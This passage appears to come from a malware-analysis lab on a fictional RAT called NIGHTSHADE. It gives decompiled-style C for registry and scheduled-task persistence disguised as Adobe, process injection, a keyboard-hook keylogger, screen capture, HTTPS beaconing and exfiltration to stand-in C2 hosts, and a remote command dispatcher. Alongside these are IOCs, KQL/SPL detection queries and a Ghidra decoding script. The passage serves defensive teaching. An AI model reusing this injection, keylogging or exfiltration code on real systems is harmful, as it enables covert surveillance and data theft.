RegOpenKeyExW(HKEY_CURRENT_USER,
L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
0, KEY_SET_VALUE, &hKey);
RegSetValueExW(hKey,
L"AdobeReaderAutoUpdate", // Value name (mimics Adobe)
0, REG_SZ,
L"C:\\Users\\%USERNAME%\\AppData\\Local\\Adobe\\AdobeUpdate.exe",
wcslen(szPath) * 2);
RegCloseKey(hKey);
Mechanism 2: Scheduled Task
// Scheduled task persistence (fallback)
_snwprintf(szCmd, 512,
L"schtasks /create /tn \"AdobeReaderUpdate\" "
L"/tr \"C:\\Users\\%%USERNAME%%\\AppData\\Local\\Adobe\\AdobeUpdate.exe\" "
L"/sc onlogon /rl highest /f");
CreateProcessW(NULL, szCmd, ...);
3.6 Complete IOC Table¶
| IOC Type | Value | Context |
|---|---|---|
| SHA256 | a1b2c3d4e5f60718293a4b5c6d7e8f90a1b2c3d4e5f60718293a4b5c6d7e8f90 | NIGHTSHADE binary |
| SHA1 | a1b2c3d4e5f6071829aabbccddeeff0011223344 | NIGHTSHADE binary |
| MD5 | a1b2c3d4e5f6071829304050 | NIGHTSHADE binary |
| Domain | update.sentinel-c2.example.com | Primary C2 |
| Domain | backup.nightshade.example.com | Secondary C2 |
| IP | 192.0.2.100 | Fallback C2 |
| IP | 198.51.100.5 | Fallback C2 |
| IP | 203.0.113.57 | Fallback C2 |
| Port | 443, 8443 | C2 communication ports |
| Mutex | Global\NDS_MTX_7F3A9B21 | Single-instance lock |
| Registry Key | HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\AdobeReaderAutoUpdate | Persistence |
| File Path | C:\Users\<user>\AppData\Local\Adobe\AdobeUpdate.exe | Installed binary |
| File Path | %TEMP%\nds_keylog.dat | Keylogger output |
| File Path | %TEMP%\nds_screen_<n>.bmp | Screen captures |
| File Path | %TEMP%\NDS_EXFIL_<n>.tmp | Staged exfil data |
| Scheduled Task | AdobeReaderUpdate | Persistence task |
| User-Agent | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 | C2 HTTP header |
| URI | /api/v2/check | C2 beacon endpoint |
| URI | /api/v2/upload | C2 exfil endpoint |
| URI | /api/v2/task | C2 tasking endpoint |
| Campaign ID | EMERALD-2026-Q1-SD | Campaign identifier |
| XOR Key | 0x5A | String decryption key |
| Kill Date | 2026-06-30 | Auto-uninstall date |
3.7 Detection Queries — IOC-Based¶
KQL — Detect NIGHTSHADE C2 communication:
// KQL: Detect NIGHTSHADE C2 domains and IPs
let nightshade_domains = dynamic([
"update.sentinel-c2.example.com",
"backup.nightshade.example.com"
]);
let nightshade_ips = dynamic([
"192.0.2.100", "198.51.100.5", "203.0.113.57"
]);
DeviceNetworkEvents
| where RemoteUrl has_any (nightshade_domains)
or RemoteIP in (nightshade_ips)
| project Timestamp, DeviceName, InitiatingProcessFileName,
RemoteUrl, RemoteIP, RemotePort, LocalPort
| sort by Timestamp desc
KQL — Detect NIGHTSHADE persistence artifacts:
// KQL: Detect NIGHTSHADE registry persistence
DeviceRegistryEvents
| where ActionType == "RegistryValueSet"
| where RegistryKey has "CurrentVersion\\Run"
| where RegistryValueName == "AdobeReaderAutoUpdate"
or RegistryValueData has "AdobeUpdate.exe"
| project Timestamp, DeviceName, RegistryKey, RegistryValueName,
RegistryValueData, InitiatingProcessFileName
SPL — Detect NIGHTSHADE staging files:
index=endpoint sourcetype=sysmon EventCode=11
| where match(TargetFilename, "(?i)nds_(keylog|screen|exfil)")
| eval file_type=case(
match(TargetFilename, "keylog"), "Keylogger Output",
match(TargetFilename, "screen"), "Screen Capture",
match(TargetFilename, "exfil"), "Staged Exfiltration",
true(), "Unknown"
)
| stats count by Computer, file_type, TargetFilename, Image
| sort -count
SPL — Detect NIGHTSHADE C2 beacon pattern:
index=proxy sourcetype=squid OR sourcetype=bluecoat
| where (url="*/api/v2/check*" OR url="*/api/v2/upload*" OR url="*/api/v2/task*")
| where (dest="192.0.2.100" OR dest="198.51.100.5" OR dest="203.0.113.57"
OR dest="update.sentinel-c2.example.com"
OR dest="backup.nightshade.example.com")
| stats count dc(src) as unique_sources by dest, url, http_method
| sort -count
Exercise 3 Questions¶
Q3.1: Why would the malware developer leave the version string ('NIGHTSHADE v2.1 | Build 0314') in the binary?
Answer: Several possibilities:
- Development oversight — the developer forgot to strip debug strings from the release build. This is common in malware where the development process lacks QA rigor.
- Internal tracking — the developer (or malware-as-a-service operator) uses version strings to track which build is deployed to which victim, for troubleshooting and feature management.
- Pride/branding — some threat actors intentionally name and brand their tools, viewing them as products. This is seen in groups like APT28 (X-Agent) and Lazarus (FALLCHILL).
- False flag potential — the string could be planted to mislead attribution, pointing analysts toward a specific actor while the real operator is different.
For defenders, this string is a high-confidence IOC for YARA rules and file scanning.
Q3.2: What is the operational significance of the 'kill date' (2026-06-30) in the C2 configuration?
Answer: The kill date instructs the malware to automatically uninstall itself after June 30, 2026. This serves several operational purposes:
- Operational security — limits the window of exposure; if the malware is discovered after the kill date, forensic analysis becomes harder as artifacts are cleaned up
- Campaign scoping — the attacker has a defined campaign window (approximately 3.5 months from the compile date) to achieve their objectives
- Reducing long-term risk — old implants on compromised hosts could be discovered and lead to attribution; self-destruction reduces this risk
- Regulatory/legal hedging — some threat actors (particularly nation-state) limit tool persistence to reduce the chance of discovery during routine security audits
For defenders, knowing the kill date is valuable: if the current date is past the kill date, you may need to look for cleanup artifacts rather than active malware presence.
Q3.3: Why does NIGHTSHADE use both domain-based C2 and hardcoded fallback IPs?
Answer: This is a resilient C2 architecture with multiple layers of redundancy:
- Primary (domains) — domains are flexible; the operator can change the IP behind the domain via DNS without updating the malware binary
- Fallback (IPs) — if domains are sinkholed or DNS is blocked, hardcoded IPs provide a backup communication channel
- Operational resilience — even if defenders block domains AND primary IPs, the third fallback IP on a different subnet (203.0.113.57) provides a final option
- Different ports (443, 8443) — if standard HTTPS (443) is inspected by a TLS proxy, port 8443 may bypass inspection on some networks
This layered approach is a best practice in offensive tooling and reflects a mature threat actor who anticipates defensive countermeasures.
Exercise 4: API Call Tracing & Behavior Mapping¶
Objective¶
Trace the Windows API call sequences used by each NIGHTSHADE module, map them to MITRE ATT&CK techniques, and understand how the RAT's capabilities are implemented at the API level.
4.1 Process Injection Module¶
Navigate to ProcessInject_Classic at 0x0040B100.
Decompiler Output (Synthetic):
// Ghidra Decompiler Output — SYNTHETIC
// Function: ProcessInject_Classic (FUN_0040B100)
// Technique: Classic CreateRemoteThread Injection (T1055.001)
BOOL ProcessInject_Classic(DWORD dwTargetPID, LPVOID pPayload, SIZE_T szPayload)
{
HANDLE hProcess;
LPVOID pRemoteMem;
HANDLE hThread;
SIZE_T bytesWritten;
// Step 1: Open target process with full access
hProcess = OpenProcess(
PROCESS_ALL_ACCESS, // 0x001F0FFF
FALSE,
dwTargetPID
);
if (hProcess == NULL) return FALSE;
// Step 2: Allocate RWX memory in target process
pRemoteMem = VirtualAllocEx(
hProcess,
NULL,
szPayload,
MEM_COMMIT | MEM_RESERVE, // 0x00003000
PAGE_EXECUTE_READWRITE // 0x40 — RWX
);
if (pRemoteMem == NULL) {
CloseHandle(hProcess);
return FALSE;
}
// Step 3: Write payload to remote process memory
WriteProcessMemory(
hProcess,
pRemoteMem,
pPayload,
szPayload,
&bytesWritten
);
// Step 4: Create remote thread to execute payload
hThread = CreateRemoteThread(
hProcess,
NULL,
0,
(LPTHREAD_START_ROUTINE)pRemoteMem,
NULL,
0,
NULL
);
if (hThread == NULL) {
VirtualFreeEx(hProcess, pRemoteMem, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}
// Step 5: Wait for execution and cleanup handles
WaitForSingleObject(hThread, 5000);
CloseHandle(hThread);
CloseHandle(hProcess);
return TRUE;
}
API Call Sequence Diagram:
ProcessInject_Classic
│
├─1─▶ OpenProcess(PROCESS_ALL_ACCESS, target_pid)
│ └─ Obtains handle to target process
│
├─2─▶ VirtualAllocEx(hProcess, RWX, payload_size)
│ └─ Allocates executable memory in target
│
├─3─▶ WriteProcessMemory(hProcess, remote_addr, payload)
│ └─ Copies shellcode/DLL to allocated region
│
├─4─▶ CreateRemoteThread(hProcess, remote_addr)
│ └─ Starts execution of injected payload
│
└─5─▶ CloseHandle(hThread), CloseHandle(hProcess)
└─ Cleanup — reduces forensic footprint
4.2 Keylogger Module¶
Navigate to Keylogger_Install at 0x00409100.
Decompiler Output (Synthetic):
// Ghidra Decompiler Output — SYNTHETIC
// Function: Keylogger_Install (FUN_00409100)
// Technique: Input Capture — Keylogging (T1056.001)
static HHOOK g_hKeyHook = NULL;
static FILE* g_pLogFile = NULL;
LRESULT CALLBACK KeyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam)
{
KBDLLHOOKSTRUCT* pKbStruct;
HWND hForeground;
char szWindowTitle[256];
char szKeyName[32];
DWORD dwTime;
if (nCode >= 0 && (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN))
{
pKbStruct = (KBDLLHOOKSTRUCT*)lParam;
dwTime = pKbStruct->time;
// Get active window title for context
hForeground = GetForegroundWindow();
GetWindowTextA(hForeground, szWindowTitle, 256);
// Convert virtual key to readable name
GetKeyNameTextA(pKbStruct->scanCode << 16, szKeyName, 32);
// Log to file: [timestamp] [window_title] key
if (g_pLogFile != NULL) {
fprintf(g_pLogFile, "[%u] [%s] %s (0x%02X)\n",
dwTime, szWindowTitle, szKeyName, pKbStruct->vkCode);
fflush(g_pLogFile);
}
}
return CallNextHookEx(g_hKeyHook, nCode, wParam, lParam);
}
BOOL Keylogger_Install(void)
{
char szLogPath[MAX_PATH];
// Create log file in TEMP directory
ExpandEnvironmentStringsA("%TEMP%\\nds_keylog.dat", szLogPath, MAX_PATH);
g_pLogFile = fopen(szLogPath, "ab"); // Append mode
if (g_pLogFile == NULL) return FALSE;
// Install low-level keyboard hook
g_hKeyHook = SetWindowsHookExW(
WH_KEYBOARD_LL, // Hook type: Low-level keyboard
KeyboardHookProc, // Callback function
GetModuleHandleW(NULL), // Module handle
0 // Thread ID: 0 = all threads
);
return (g_hKeyHook != NULL);
}
4.3 Screen Capture Module¶
Navigate to ScreenCapture at 0x00409800.
Decompiler Output (Synthetic):
// Ghidra Decompiler Output — SYNTHETIC
// Function: ScreenCapture (FUN_00409800)
// Technique: Screen Capture (T1113)
BOOL ScreenCapture(int iCaptureIndex)
{
HDC hdcScreen, hdcMem;
HBITMAP hBitmap;
int nWidth, nHeight;
char szFilePath[MAX_PATH];
BITMAPINFOHEADER bmpInfo;
// Get screen dimensions
nWidth = GetSystemMetrics(SM_CXSCREEN);
nHeight = GetSystemMetrics(SM_CYSCREEN);
// Create compatible DC and bitmap
hdcScreen = GetDC(GetDesktopWindow());
hdcMem = CreateCompatibleDC(hdcScreen);
hBitmap = CreateCompatibleBitmap(hdcScreen, nWidth, nHeight);
SelectObject(hdcMem, hBitmap);
// Capture screen contents via BitBlt
BitBlt(hdcMem, 0, 0, nWidth, nHeight,
hdcScreen, 0, 0, SRCCOPY);
// Save to temp file
_snprintf(szFilePath, MAX_PATH,
"%s\\nds_screen_%d.bmp",
getenv("TEMP"), iCaptureIndex);
// Write BMP file (header + pixel data)
FUN_00409A00(szFilePath, hBitmap, &bmpInfo); // BMP writer helper
// Cleanup GDI objects
DeleteObject(hBitmap);
DeleteDC(hdcMem);
ReleaseDC(GetDesktopWindow(), hdcScreen);
return TRUE;
}
4.4 C2 Communication Module¶
Navigate to C2_BeaconInit at 0x00406800 and C2_SendData at 0x00407200.
Decompiler Output (Synthetic):
// Ghidra Decompiler Output — SYNTHETIC
// Function: C2_BeaconInit (FUN_00406800)
// Technique: Application Layer Protocol — Web (T1071.001)
typedef struct _C2_CONFIG {
char szPrimaryDomain[256];
char szSecondaryDomain[256];
char szFallbackIP[3][64];
DWORD dwBeaconInterval;
DWORD dwJitter;
char szUserAgent[512];
BYTE bAESKey[32];
char szCampaignID[64];
} C2_CONFIG;
static C2_CONFIG g_C2Config;
BOOL C2_BeaconInit(void)
{
HINTERNET hInternet;
BOOL bConnected = FALSE;
// Initialize WinINet
hInternet = InternetOpenW(
L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
INTERNET_OPEN_TYPE_PRECONFIG,
NULL, NULL, 0
);
if (hInternet == NULL) return FALSE;
// Try primary C2 domain
bConnected = FUN_004068A0(hInternet, g_C2Config.szPrimaryDomain, 443);
if (bConnected) return TRUE;
// Try secondary C2 domain
bConnected = FUN_004068A0(hInternet, g_C2Config.szSecondaryDomain, 8443);
if (bConnected) return TRUE;
// Try fallback IPs
for (int i = 0; i < 3; i++) {
bConnected = FUN_004068A0(hInternet, g_C2Config.szFallbackIP[i], 443);
if (bConnected) return TRUE;
}
InternetCloseHandle(hInternet);
return FALSE; // All C2 channels failed
}
// C2 Data Exfiltration
BOOL C2_SendData(BYTE* pData, DWORD dwDataLen, char* szEndpoint)
{
HINTERNET hConnect, hRequest;
BYTE* pEncrypted;
DWORD dwEncLen;
char szURI[512];
// Encrypt data with AES-256 before transmission
pEncrypted = FUN_0040C500(pData, dwDataLen, g_C2Config.bAESKey, &dwEncLen);
if (pEncrypted == NULL) return FALSE;
// Build URI: /api/v2/upload?cid=EMERALD-2026-Q1-SD
_snprintf(szURI, 512, "%s?cid=%s", szEndpoint, g_C2Config.szCampaignID);
// Connect and send via HTTPS POST
hConnect = InternetConnectW(g_hInternet,
g_C2Config.szPrimaryDomain, 443,
NULL, NULL,
INTERNET_SERVICE_HTTP, 0, 0);
hRequest = HttpOpenRequestW(hConnect,
L"POST", szURI, NULL, NULL, NULL,
INTERNET_FLAG_SECURE | INTERNET_FLAG_NO_CACHE_WRITE, 0);
HttpSendRequestW(hRequest,
L"Content-Type: application/octet-stream\r\n", -1,
pEncrypted, dwEncLen);
InternetCloseHandle(hRequest);
InternetCloseHandle(hConnect);
free(pEncrypted);
return TRUE;
}
4.5 RAT Command Dispatcher¶
Navigate to RAT_CommandDispatcher at 0x00408000.
Decompiler Output (Synthetic):
// Ghidra Decompiler Output — SYNTHETIC
// Function: RAT_CommandDispatcher (FUN_00408000)
// This is the main command loop
void RAT_CommandDispatcher(HANDLE hMutex)
{
BYTE* pCmdBuffer;
DWORD dwCmdLen;
BYTE bCmdType;
int iScreenIdx = 0;
while (TRUE)
{
// Sleep with jitter (beacon interval ± random offset)
Sleep(g_C2Config.dwBeaconInterval * 1000
+ (rand() % (g_C2Config.dwJitter * 1000)));
// Check in with C2 and receive command
pCmdBuffer = C2_RecvCommand(&dwCmdLen);
if (pCmdBuffer == NULL || dwCmdLen == 0) continue;
bCmdType = pCmdBuffer[0]; // First byte = command type
switch (bCmdType)
{
case 0x01: // KEYLOG_START
Keylogger_Install();
break;
case 0x02: // KEYLOG_STOP
Keylogger_Uninstall();
break;
case 0x03: // KEYLOG_RETRIEVE
FUN_00409500(); // Read and exfil keylog data
break;
case 0x04: // SCREENSHOT
ScreenCapture(iScreenIdx++);
FUN_0040A800(iScreenIdx - 1); // Upload screenshot
break;
case 0x05: // CMD_EXEC
FUN_0040B500((char*)(pCmdBuffer + 1)); // Execute command
break;
case 0x06: // FILE_DOWNLOAD (from victim)
FileExfil_Stage((char*)(pCmdBuffer + 1));
break;
case 0x07: // FILE_UPLOAD (to victim)
FUN_0040A500(pCmdBuffer + 1, dwCmdLen - 1);
break;
case 0x08: // PROCESS_LIST
FUN_0040B800(); // Enumerate and report processes
break;
case 0x09: // INJECT
ProcessInject_Classic(
*(DWORD*)(pCmdBuffer + 1), // Target PID
pCmdBuffer + 5, // Payload
dwCmdLen - 5 // Payload size
);
break;
case 0x0A: // PERSIST_UPDATE
FUN_00405000(); // Re-install persistence
break;
case 0x0B: // SELF_DESTRUCT
FUN_0040D000(hMutex); // Remove all artifacts and exit
return;
case 0xFF: // NOP / HEARTBEAT
break;
default:
break;
}
free(pCmdBuffer);
}
}
Command Protocol Summary:
| Cmd Byte | Name | Description | ATT&CK |
|---|---|---|---|
0x01 | KEYLOG_START | Install keyboard hook | T1056.001 |
0x02 | KEYLOG_STOP | Remove keyboard hook | — |
0x03 | KEYLOG_RETRIEVE | Exfil keylog data | T1041 |
0x04 | SCREENSHOT | Capture and exfil screenshot | T1113 |
0x05 | CMD_EXEC | Execute shell command | T1059.003 |
0x06 | FILE_DOWNLOAD | Stage and exfil file from victim | T1041, T1074.001 |
0x07 | FILE_UPLOAD | Upload file to victim | T1105 |
0x08 | PROCESS_LIST | Enumerate running processes | T1057 |
0x09 | INJECT | Inject payload into process | T1055.001 |
0x0A | PERSIST_UPDATE | Re-apply persistence | T1547.001 |
0x0B | SELF_DESTRUCT | Remove artifacts and exit | T1070.004 |
0xFF | NOP | Heartbeat / no operation | — |
4.6 Complete ATT&CK Mapping¶
| Tactic | Technique ID | Technique Name | NIGHTSHADE Function |
|---|---|---|---|
| Execution | T1059.003 | Windows Command Shell | CMD_EXEC (0x05) |
| Persistence | T1547.001 | Registry Run Keys / Startup Folder | InstallPersistence |
| Persistence | T1053.005 | Scheduled Task | InstallPersistence (fallback) |
| Privilege Escalation | T1055.001 | DLL Injection (CreateRemoteThread) | ProcessInject_Classic |
| Defense Evasion | T1036.005 | Match Legitimate Name | Filename mimics Adobe |
| Defense Evasion | T1140 | Deobfuscate/Decode | XOR_Decode, DecryptConfig_Ndata |
| Defense Evasion | T1497.001 | System Checks (Anti-Debug) | AntiDebug_Check |
| Defense Evasion | T1070.004 | File Deletion | SELF_DESTRUCT (0x0B) |
| Credential Access | T1056.001 | Keylogging | Keylogger_Install |
| Discovery | T1082 | System Information Discovery | SystemFingerprint |
| Discovery | T1057 | Process Discovery | PROCESS_LIST (0x08) |
| Discovery | T1010 | Application Window Discovery | GetForegroundWindow in keylogger |
| Collection | T1113 | Screen Capture | ScreenCapture |
| Collection | T1074.001 | Local Data Staging | FileExfil_Stage |
| Command and Control | T1071.001 | Web Protocols (HTTPS) | C2_BeaconInit, C2_SendData |
| Command and Control | T1573.001 | Symmetric Cryptography (AES-256) | AES encryption before exfil |
| Command and Control | T1008 | Fallback Channels | Multiple C2 domains + IPs |
| Command and Control | T1105 | Ingress Tool Transfer | FILE_UPLOAD (0x07) |
| Exfiltration | T1041 | Exfiltration Over C2 Channel | C2_SendData |
Cross-Reference
For detailed ATT&CK technique descriptions and additional detection queries, see the ATT&CK Technique Reference and Detection Query Library.
4.7 Detection Queries — Behavioral¶
KQL — Detect classic process injection pattern:
// KQL: Detect OpenProcess → VirtualAllocEx → WriteProcessMemory → CreateRemoteThread
DeviceEvents
| where ActionType in ("OpenProcessCall", "VirtualAllocCall",
"WriteProcessMemoryCall", "CreateRemoteThreadCall")
| where InitiatingProcessFileName !in ("svchost.exe", "csrss.exe", "lsass.exe")
| summarize InjectionSteps = make_set(ActionType),
StepCount = dcount(ActionType)
by DeviceName, InitiatingProcessFileName, InitiatingProcessId,
bin(Timestamp, 5s)
| where StepCount >= 3
| project Timestamp, DeviceName, InitiatingProcessFileName, InjectionSteps
KQL — Detect keylogger hook installation:
// KQL: Detect SetWindowsHookEx with WH_KEYBOARD_LL
DeviceEvents
| where ActionType == "SetWindowsHookExCall"
| where AdditionalFields has "WH_KEYBOARD_LL" or AdditionalFields has "13"
| where InitiatingProcessFileName !in ("explorer.exe", "RuntimeBroker.exe")
| project Timestamp, DeviceName, InitiatingProcessFileName,
InitiatingProcessCommandLine, AdditionalFields
KQL — Detect screen capture via GDI APIs:
// KQL: Detect screen capture followed by file creation in temp
DeviceFileEvents
| where ActionType == "FileCreated"
| where FolderPath has "Temp"
| where FileName endswith ".bmp" or FileName endswith ".png" or FileName endswith ".jpg"
| where InitiatingProcessFileName !in ("mspaint.exe", "SnippingTool.exe",
"ScreenSketch.exe", "Teams.exe")
| project Timestamp, DeviceName, FileName, FolderPath,
InitiatingProcessFileName, FileSize
SPL — Detect process injection via Sysmon:
index=endpoint sourcetype=sysmon
(EventCode=8 OR EventCode=10)
| eval injection_indicator=case(
EventCode=8, "CreateRemoteThread",
EventCode=10 AND match(GrantedAccess, "0x1F0FFF"), "OpenProcess_FULL_ACCESS",
true(), "Other"
)
| where injection_indicator!="Other"
| stats count values(injection_indicator) as indicators
by Computer, SourceImage, TargetImage
| where count >= 2
| sort -count
SPL — Detect scheduled task creation for persistence:
index=endpoint sourcetype=sysmon EventCode=1
| where match(CommandLine, "(?i)schtasks.*/create")
| where match(CommandLine, "(?i)(onlogon|onstart|daily)")
| where NOT match(ParentImage, "(?i)(msiexec|setup|install)")
| eval task_name=replace(CommandLine, ".*\/tn\s+\"?([^\"]+)\"?.*", "\1")
| stats count by Computer, task_name, CommandLine, ParentImage, Image
| sort -count
Exercise 4 Questions¶
Q4.1: In the process injection routine, why does the malware use PROCESS_ALL_ACCESS instead of the minimum required permissions?
Answer: PROCESS_ALL_ACCESS (0x001F0FFF) grants every possible process permission. While functional, this is a poor OPSEC choice by the malware author because:
- Detection opportunity — security tools specifically flag
OpenProcesscalls withPROCESS_ALL_ACCESSas suspicious; the minimum permissions needed arePROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD(0x002A) - Lazy coding — using ALL_ACCESS is a common shortcut in malware development, indicating potentially less sophisticated development practices
- Sysmon detection — Sysmon Event ID 10 (ProcessAccess) logs the
GrantedAccessmask;0x1F0FFFis a well-known detection signature
More sophisticated malware uses the minimum required access rights to avoid triggering behavioral detections.
Q4.2: Explain the beacon jitter mechanism and its purpose.
Answer: The beacon jitter is implemented as:
WithBeaconInterval = 300 and Jitter = 60, this means the malware beacons every 300 to 360 seconds (5 to 6 minutes). The jitter serves several purposes: - Evade frequency analysis — a perfectly regular 300-second beacon interval is trivially detectable with statistical analysis of network logs; the random offset makes the pattern less obvious
- Blend with legitimate traffic — real application updates and telemetry have natural timing variation; fixed intervals look mechanical and suspicious
- Avoid synchronized beacons — if multiple hosts are compromised, jitter prevents all beacons from arriving at the C2 server simultaneously, which could trigger volumetric alerts
Q4.3: Map the SELF_DESTRUCT command (0x0B) to ATT&CK and explain what artifacts it likely removes.
Answer: The SELF_DESTRUCT command maps to T1070.004 — Indicator Removal: File Deletion and likely performs:
- Remove persistence — delete the registry Run key (
AdobeReaderAutoUpdate) and scheduled task (AdobeReaderUpdate) - Delete staged data — remove
%TEMP%\nds_keylog.dat,%TEMP%\nds_screen_*.bmp,%TEMP%\NDS_EXFIL_*.tmp - Delete the binary — remove
AppData\Local\Adobe\AdobeUpdate.exe - Release the mutex — close the
Global\NDS_MTX_7F3A9B21handle - Self-delete — likely uses a batch file or
cmd.exe /c ping -n 3 127.0.0.1 && deltrick to delete the running executable after process exit - Clear event log entries — may attempt to clear Security or Sysmon logs (T1070.001)
However, artifacts that likely survive cleanup include: Prefetch files (ADOBEUPDATE.EXE-*.pf), NTFS journal entries, memory forensic artifacts (if captured before cleanup), and proxy/firewall logs of C2 communications.
Exercise 5: Deobfuscation & Final Report¶
Objective¶
Perform comprehensive deobfuscation of NIGHTSHADE's string encryption, reconstruct the full operational picture, and produce a structured malware analysis report suitable for threat intelligence sharing.
5.1 Ghidra Scripting for Batch XOR Decryption¶
Ghidra supports Java and Python (Jython) scripts. The following script automates XOR decryption of all encoded strings in the .ndata section.
Ghidra Script — NIGHTSHADE_XOR_Decrypt.py (Synthetic/Educational):
# Ghidra Script: NIGHTSHADE XOR String Decryption
# Language: Jython (Ghidra's Python environment)
# Purpose: Decrypt XOR-encoded strings in .ndata section
# WARNING: This script is SYNTHETIC and for educational purposes only
from ghidra.program.model.mem import MemoryAccessException
XOR_KEY = 0x5A
SECTION_NAME = ".ndata"
MIN_STRING_LEN = 4
def find_ndata_section():
"""Locate the .ndata memory block."""
for block in currentProgram.getMemory().getBlocks():
if block.getName() == SECTION_NAME:
return block
return None
def xor_decode(data, key):
"""XOR decode a byte array with a single-byte key."""
return bytes([b ^ key for b in data])
def is_printable(data):
"""Check if decoded data contains printable ASCII."""
return all(0x20 <= b <= 0x7E for b in data)
def find_and_decode_strings(block):
"""Scan the block for XOR-encoded strings."""
start = block.getStart()
end = block.getEnd()
size = end.subtract(start) + 1
print("=" * 60)
print("NIGHTSHADE XOR String Decryption Results")
print("Section: {} | Key: 0x{:02X}".format(SECTION_NAME, XOR_KEY))
print("Range: {} - {}".format(start, end))
print("=" * 60)
raw_bytes = bytearray(size)
block.getBytes(start, raw_bytes)
# Slide through memory looking for encoded strings
results = []
i = 0
while i < len(raw_bytes):
# Try decoding from this offset
candidate = bytearray()
j = i
while j < len(raw_bytes):
decoded_byte = raw_bytes[j] ^ XOR_KEY
if decoded_byte == 0x00: # Null terminator
break
if not (0x20 <= decoded_byte <= 0x7E):
break
candidate.append(decoded_byte)
j += 1
if len(candidate) >= MIN_STRING_LEN:
addr = start.add(i)
decoded_str = candidate.decode('ascii', errors='replace')
results.append((addr, decoded_str))
print("[0x{}] {}".format(addr, decoded_str))
# Add comment in Ghidra listing
setPreComment(addr, "XOR Decoded (0x5A): " + decoded_str)
i = j + 1
else:
i += 1
print("\n" + "=" * 60)
print("Total decoded strings: {}".format(len(results)))
print("=" * 60)
return results
# Main execution
block = find_ndata_section()
if block is not None:
results = find_and_decode_strings(block)
else:
print("ERROR: .ndata section not found!")
Running the Script
In Ghidra: Window → Script Manager → New Script → Python. Paste the script, save as NIGHTSHADE_XOR_Decrypt.py, and click the green "Run" button. Decoded strings will appear in the console output and as pre-comments in the Listing view.
5.2 Stack String Reconstruction¶
Some strings are built character-by-character on the stack to avoid appearing in the strings table. Ghidra's decompiler usually reconstructs these automatically.
Example: Stack String in AntiDebug Process Check (Synthetic):
; Building "ollydbg.exe" on the stack (anti-debug process check)
; Address: 0x004021C0
MOV BYTE [EBP-0x20], 0x6F ; 'o'
MOV BYTE [EBP-0x1F], 0x6C ; 'l'
MOV BYTE [EBP-0x1E], 0x6C ; 'l'
MOV BYTE [EBP-0x1D], 0x79 ; 'y'
MOV BYTE [EBP-0x1C], 0x64 ; 'd'
MOV BYTE [EBP-0x1B], 0x62 ; 'b'
MOV BYTE [EBP-0x1A], 0x67 ; 'g'
MOV BYTE [EBP-0x19], 0x2E ; '.'
MOV BYTE [EBP-0x18], 0x65 ; 'e'
MOV BYTE [EBP-0x17], 0x78 ; 'x'
MOV BYTE [EBP-0x16], 0x65 ; 'e'
MOV BYTE [EBP-0x15], 0x00 ; null terminator
; Result: "ollydbg.exe"
Ghidra Decompiler View (same function):
// Ghidra reconstructs stack strings automatically:
char local_20[12];
local_20[0] = 'o';
local_20[1] = 'l';
local_20[2] = 'l';
local_20[3] = 'y';
local_20[4] = 'd';
local_20[5] = 'b';
local_20[6] = 'g';
local_20[7] = '.';
local_20[8] = 'e';
local_20[9] = 'x';
local_20[10] = 'e';
local_20[11] = '\0';
// Check if process exists
if (FUN_004022A0(local_20) != 0) return TRUE;
All Stack Strings Recovered from Anti-Debug Function (Synthetic):
| Address | Stack String | Purpose |
|---|---|---|
| 0x004021C0 | ollydbg.exe | OllyDbg debugger |
| 0x004021F0 | x64dbg.exe | x64dbg debugger |
| 0x00402220 | ida.exe | IDA Pro |
| 0x00402240 | ida64.exe | IDA Pro (64-bit) |
| 0x00402260 | ghidra.exe | Ghidra (NSA) |
| 0x00402280 | procmon.exe | Process Monitor |
| 0x004022A0 | wireshark.exe | Network capture |
| 0x004022C0 | fiddler.exe | HTTP debugger |
| 0x004022E0 | dnSpy.exe | .NET decompiler |
| 0x00402300 | pestudio.exe | PE analysis |
5.3 Configuration Structure Reconstruction¶
Combining all decoded strings and analyzed structures, reconstruct the full NIGHTSHADE configuration:
┌───────────────────────────────────────────────────────────┐
│ NIGHTSHADE RAT v2.1 — Full Configuration │
├───────────────────────────────────────────────────────────┤
│ │
│ [Identity] │
│ Family: NIGHTSHADE │
│ Version: 2.1 │
│ Build: 0314 (2026-03-14) │
│ Campaign: EMERALD-2026-Q1-SD │
│ Target: Sentinel Dynamics │
│ Kill Date: 2026-06-30 │
│ │
│ [C2 Infrastructure] │
│ Primary: update.sentinel-c2.example.com:443 │
│ Secondary: backup.nightshade.example.com:8443 │
│ Fallback 1: 192.0.2.100:443 │
│ Fallback 2: 198.51.100.5:8443 │
│ Fallback 3: 203.0.113.57:443 │
│ Protocol: HTTPS (POST) │
│ Beacon: 300s ± 60s jitter │
│ User-Agent: Mozilla/5.0 (Win NT 10.0; x64) │
│ │
│ [Encryption] │
│ String Enc: XOR (key: 0x5A) │
│ C2 Enc: AES-256-CBC │
│ AES Key: a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 │
│ e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2 │
│ │
│ [Persistence] │
│ Method 1: Registry Run Key │
│ Key: HKCU\...\Run\AdobeReaderAutoUpdate │
│ Binary: %LOCALAPPDATA%\Adobe\AdobeUpdate.exe │
│ Method 2: Scheduled Task (onlogon) │
│ Name: AdobeReaderUpdate │
│ │
│ [Capabilities] │
│ Commands: 12 (0x01-0x0B, 0xFF) │
│ Features: Keylogger, Screen Capture, File Exfil, │
│ Cmd Exec, Process Injection, Self-Destruct│
│ │
│ [Anti-Analysis] │
│ Checks: IsDebuggerPresent, PEB.BeingDebugged, │
│ Timing (GetTickCount), Process Enum │
│ Decoy: Opens calc.exe on debug detection │
│ Mutex: Global\NDS_MTX_7F3A9B21 │
│ │
│ [Evasion] │
│ File Name: AdobeReaderUpdate_v23.1.exe │
│ Install Name: AdobeUpdate.exe │
│ Technique: Brand impersonation (Adobe) │
│ │
└───────────────────────────────────────────────────────────┘
5.4 YARA Rule¶
Based on the analysis, create a detection rule for NIGHTSHADE:
/*
YARA Rule: NIGHTSHADE RAT v2.x
Author: Sentinel Dynamics DFIR Team (SYNTHETIC)
Date: 2026-03-18
